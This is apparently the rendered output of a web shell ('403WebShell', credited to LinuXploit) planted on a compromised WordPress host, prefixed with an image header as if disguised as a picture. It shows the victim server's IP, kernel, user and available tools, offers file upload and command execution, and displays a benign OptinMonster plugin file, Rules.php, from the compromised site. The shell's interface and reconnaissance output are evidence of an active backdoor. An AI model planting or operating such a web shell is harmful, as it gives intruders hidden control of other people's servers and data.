????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/peekmysite.com/wp-content/plugins/optinmonster/OMAPI/EasyDigitalDownloads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/peekmysite.com/wp-content/plugins/optinmonster/OMAPI/EasyDigitalDownloads/Rules.php
<?php
/**
 * EasyDigitalDownloads Rules class.
 *
 * @since 2.8.0
 *
 * @package OMAPI
 * @author  Gabriel Oliveira
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * EasyDigitalDownloads_Rules class.
 *
 * @since 2.8.0
 */
class OMAPI_EasyDigitalDownloads_Rules extends OMAPI_Rules_Base {

	/**
	 * Holds the meta fields used for checking output statuses.
	 *
	 * @since 2.8.0
	 *
	 * @var array
	 */
	protected $fields = array(
		'show_on_edd',
		'is_edd_download',
		'is_edd_checkout',
		'is_edd_success_page',
		'is_edd_failed_transaction_page',
		'is_edd_purchase_history_page',
		'is_edd_download_category',
		'is_edd_download_tag',
	);

	/**
	 * Check for edd rules.
	 *
	 * @since 2.8.0
	 *
	 * @throws OMAPI_Rules_False If rule doesn't match.
	 * @throws OMAPI_Rules_True  If rule matches.
	 * @return void
	 */
	public function run_checks() {

		// If EDD is not connected we can ignore the EDD specific settings.
		if ( ! OMAPI_EasyDigitalDownloads::is_connected() ) {
			return;
		}

		try {
			$edd_checks = array(
				'is_edd_download'                => array( $this, 'is_edd_download' ),
				'is_edd_checkout'                => 'edd_is_checkout',
				'is_edd_success_page'            => 'edd_is_success_page',
				'is_edd_failed_transaction_page' => 'edd_is_failed_transaction_page',
				'is_edd_purchase_history_page'   => 'edd_is_purchase_history_page',
			);

			// If show_on_edd is selected, then we'll override the field_empty check for each page.
			$show_on_all_edd_pages = ! $this->rules->field_empty( 'show_on_edd' );

			if ( $show_on_all_edd_pages ) {
				$this->rules
					->set_global_override( false )
					->set_advanced_settings_field( 'show_on_edd', $this->rules->get_field_value( 'show_on_edd' ) );
			}

			foreach ( $edd_checks as $field => $callback ) {
				// If show on all edd pages is not selected, and field is empty, then we don't need to check this.
				if ( ! $show_on_all_edd_pages && $this->rules->field_empty( $field ) ) {
					continue;
				}

				$rule_value = $this->rules->get_field_value( $field );

				if ( $rule_value ) {
					$this->rules
						->set_global_override( false )
						->set_advanced_settings_field( $field, $rule_value );
				}

				if ( call_user_func( $callback ) ) {

					// If it passes, send it back.
					throw new OMAPI_Rules_True( $field );
				}
			}
		} catch ( OMAPI_Rules_Exception $e ) {
			if ( $e instanceof OMAPI_Rules_True ) {
				throw new OMAPI_Rules_True( 'include edd', 0, $e );
			}
			$this->rules->add_reason( $e );
		}
	}

	/**
	 * Check if the current page is a valid EDD Download page.
	 *
	 * @since 2.8.0
	 *
	 * @return boolean True if current page is EDD Download, false otherwise or if it was not able to determine.
	 */
	public function is_edd_download() {
		 // Get the current page/post id.
		$post_id = get_the_ID();

		if ( ! $post_id || ! function_exists( 'edd_get_download' ) ) {
			return false;
		}

		// This method only returns the download if the post id passed through
		// is a valid EDD download object. Null otherwhise.
		$download = edd_get_download( $post_id );

		return ! empty( $download );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit